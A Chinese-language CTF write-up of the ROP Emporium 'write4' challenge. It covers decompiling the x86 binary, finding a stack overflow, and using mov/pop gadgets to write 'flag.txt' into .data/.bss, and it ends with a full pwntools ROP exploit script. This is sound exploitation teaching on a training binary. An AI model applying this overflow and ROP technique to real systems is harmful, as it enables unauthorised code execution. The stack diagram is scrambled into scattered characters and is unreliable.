Pwn 运用汇编 Gadgets 写入数据到内存

以 ROP Emporium write4 为例

注意
本文最后更新于 2022-04-03,文中内容可能已过时。

之前做的题都是找函数, 然后构造 ROP 链. 这两天刷 ROP Emporium, 居然用汇编 Gadgets 向内存中写入数据! 还是思维定势了啊. 记录一下, 加深印象.

ROP Emporium write4

以 x86 32 位为例.

iI 查看信息, 没开 PIE, 没开 canary. aaa;afl, 发现 usefulFunction, s sym.usefulFunction; pdg:

1
2
3
4
5
void sym.usefulFunction(void)
{
    sym.imp.print_file("nonexistent");
    return;
}

调用了 print_file. 看一下 main, s main;pdg:

1
2
3
4
5
undefined4 main(void)
{
    sym.imp.pwnme();
    return 0;
}

调用了 pwnme.

pwnmeprint_file 是从 so 中引用来的, 用 rizin 打开 so, 看一下 pwnme, s sym.pwnme;pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void sym.pwnme(void)
{
    int32_t unaff_EBX;
    void *buf;
    int32_t var_4h;
    
    entry0();
    sym.imp.setvbuf(**(undefined4 **)(unaff_EBX + 0x194f), 0, 2, 0);
    sym.imp.puts(unaff_EBX + 0x14f);
    sym.imp.puts(unaff_EBX + 0x166);
    sym.imp.memset(&buf, 0, 0x20);
    sym.imp.puts(unaff_EBX + 0x16b);
    sym.imp.printf(unaff_EBX + 0x194);
    sym.imp.read(0, &buf, 0x200);
    sym.imp.puts(unaff_EBX + 0x197);
    return;
}

注意到有 read, pdf 查看 bufebp 的距离:

1
2
3
          ...
          ; var void *buf @ ebp-0x28
          ...

显然存在栈溢出漏洞. s sym.print_file;pdg 查看 print_file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void sym.print_file(char *filename)
{
    int32_t unaff_EBX;
    char **ppcVar1;
    char *pcStack76;
    char *pcStack72;
    undefined4 uStack64;
    undefined auStack60 [11];
    char *s;
    FILE *stream;
    int32_t var_4h;
    
    ppcVar1 = (char **)auStack60;
    uStack64 = 0x75b;
    entry0();
    stream = (FILE *)0x0;
    pcStack72 = (char *)(unaff_EBX + 0xf0);
    pcStack76 = filename;
    stream = (FILE *)sym.imp.fopen();
    if (stream == (FILE *)0x0) {
        pcStack72 = filename;
        pcStack76 = (char *)(unaff_EBX + 0xf2);
        ppcVar1 = &pcStack76;
        sym.imp.printf();
        pcStack76 = "ELF\x01\x01\x01";
        sym.imp.exit();
    }
    *(FILE **)((int32_t)ppcVar1 + -8) = stream;
    *(undefined4 *)((int32_t)ppcVar1 + -0xc) = 0x21;
    *(char ***)((int32_t)ppcVar1 + -0x10) = &s;
    *(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x7b6;
    sym.imp.fgets();
    *(char ***)((int32_t)ppcVar1 + -0x10) = &s;
    *(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x7c5;
    sym.imp.puts();
    *(FILE **)((int32_t)ppcVar1 + -0x10) = stream;
    *(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x7d3;
    sym.imp.fclose();
    return;
}
信息
rz-ghidra 反 .so 不是很好, 可能由于 PIC 的缘故, 并没有准确定位到数据的地址 (甚至连 get_pc 都不知道, 居然写成了 entry), 从而写成了 ebx + 偏移. ghidra 反出来的就不会. 可以用 ghidra 反一遍看.

或者查看汇编代码, 也能够看懂, 就是 fgets(s, 0x21, stream), 然后 puts(s). 最后 fclose(stream).

可以掉 usefulFunction 测试一下, 建一个名为 nonexistent 的文件. 写入不超过 0x21 个字符的东西, 然后返回到 usefulFunction 测试.

那么一个思路就是找 “flag.txt” 字符串, 调用 print_file("flag.txt"). iz 查看字符串, 可惜没有. 接下来的思路就是构造了.

但是! 这个题很难受的一个点在于, 有漏洞的函数在共享库里, 输入函数 read 也在共享库里, 没有办法直接调用到 plt. (可能有种方法是泄漏某个库函数的地址然后算偏移, 还没学到).

这里就要想过一个办法输入了. 没有输入的函数, 不过可以构造栈上的数据. 那么把栈当成一种输入, 比如把 “flag.txt” 放到栈上, 然后 pop 到某个寄存器. 又知道, 调用函数时, 传入的字符串参数起始是一个地址, 那么我们还需要把 “flag.txt” 存在内存的某处. 这可以用 mov [reg1] reg2 来实现. reg1 是地址, reg2 是字符串的值. 这样就把字符串存在了 reg1 所指向的位置.

来找一下这些 gadgets. "/R/ mov;ret", 0x08048543 处找到 mov dword [edi], ebp;ret. 这正好可以使用. 那么再找有没有 pop edi; ret, pop ebp; ret 或者 pop edi; pop ebp; ret 或者 pop ebp; pop edi; ret. "/R/ pop;ret", 0x080485aa 处找到 pop edi; pop ebp; ret. 完美.

由于 flag.txt 一共 8 个字节, 加上 \0 是 9 个. 查看一下 .data 或者 .bss 有没有对应的大小可共写入. iS:

1
2
3
4
5
6
paddr      size  vaddr      vsize align perm name               type       flags         
-----------------------------------------------------------------------------------------
...
0x00001018 0x8   0x0804a018 0x8   0x0   -rw- .data              PROGBITS   write,alloc
0x00001020 0x0   0x0804a020 0x4   0x0   -rw- .bss               NOBITS     write,alloc
...

可以看到, .data 有 8 个字节, .bss 有 4 个字节. 并且他们是连在一起的. 所以可供写的地方一共是 12 个字节, 足够了. 并且我们知道, .bss 的内容最开始是空的, 程序也没有向 .bss 写入, 所以第 9 个 \0 不用写. 32 位栈的宽度是 4 个字节, 所以 8 个字节的 “flag.txt” 要分两次写入.

技巧
在写入时, .data 和 .bss 单独的空间都不够, 但是他们连在一起, 而总和是够的, 也可以写入. 程序在识别字符串的时候只会认 \0, 而不会管这是否跨越了不同节. 拿这个题试过了, 应该没什么问题.

那么栈就可以这样构造:

0 0 0 0 0 0 0 0 x p x x x x x x x 0 o 0 0 " 0 0 0 " 0 0 8 p 8 8 . 8 8 8 f 8 8 0 ; 0 0 t 0 0 0 l 0 0 4 4 4 x 4 4 4 a 4 4 a r 8 8 t a 8 8 g a 8 0 e 3 5 " 0 5 5 " 0 5 1 t d a 1 a 4 1 a 8 0 a c a 3 8 a . s p m . p m b p d t l o d o o e o a a t v a p v g p e e t c . t i b s a k p [ a e [ n e p p r e d e d ( b i d + i d o i " a n i ; i f ; f l t ] 0 ] l e _ , x p , . p a n f 0 o d o g c i e 4 p e a p . e l b b t t e p e p a e x ; b ; b t p p " r ; r ; ) e e t r t r e e ( t ( t w w r r i i t t e e " " . f t l x a t g " " t t o o . . d d a a t t a a ) + 0 x 0 4 )

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

data_buf = 0x0804a01d
str_flag = b'flag'
str_txt = b'.txt'
pop_edi_pop_ebp_ret = 0x080485aa
mov_edi_ebp_ret = 0x08048543
plt_print_file = 0x080483d0
pop_ret = 0x080485ab

payload = b'a' * (0x28 + 0x04)
payload += p32(pop_edi_pop_ebp_ret) + p32(data_buf) + str_flag
payload += p32(mov_edi_ebp_ret)
payload += p32(pop_edi_pop_ebp_ret) + p32(data_buf + 0x04) + str_txt
payload += p32(mov_edi_ebp_ret)
payload += p32(plt_print_file) + p32(pop_ret) + p32(data_buf)

p = process('./write432')
p.sendline(payload)
p.interactive()
注意
这里由于字符仅占一个字节, 所以不需要考虑小端序的问题. 如果是向栈上写大小多于一个字节的数据类型, 比如 int, 需要注意小端序.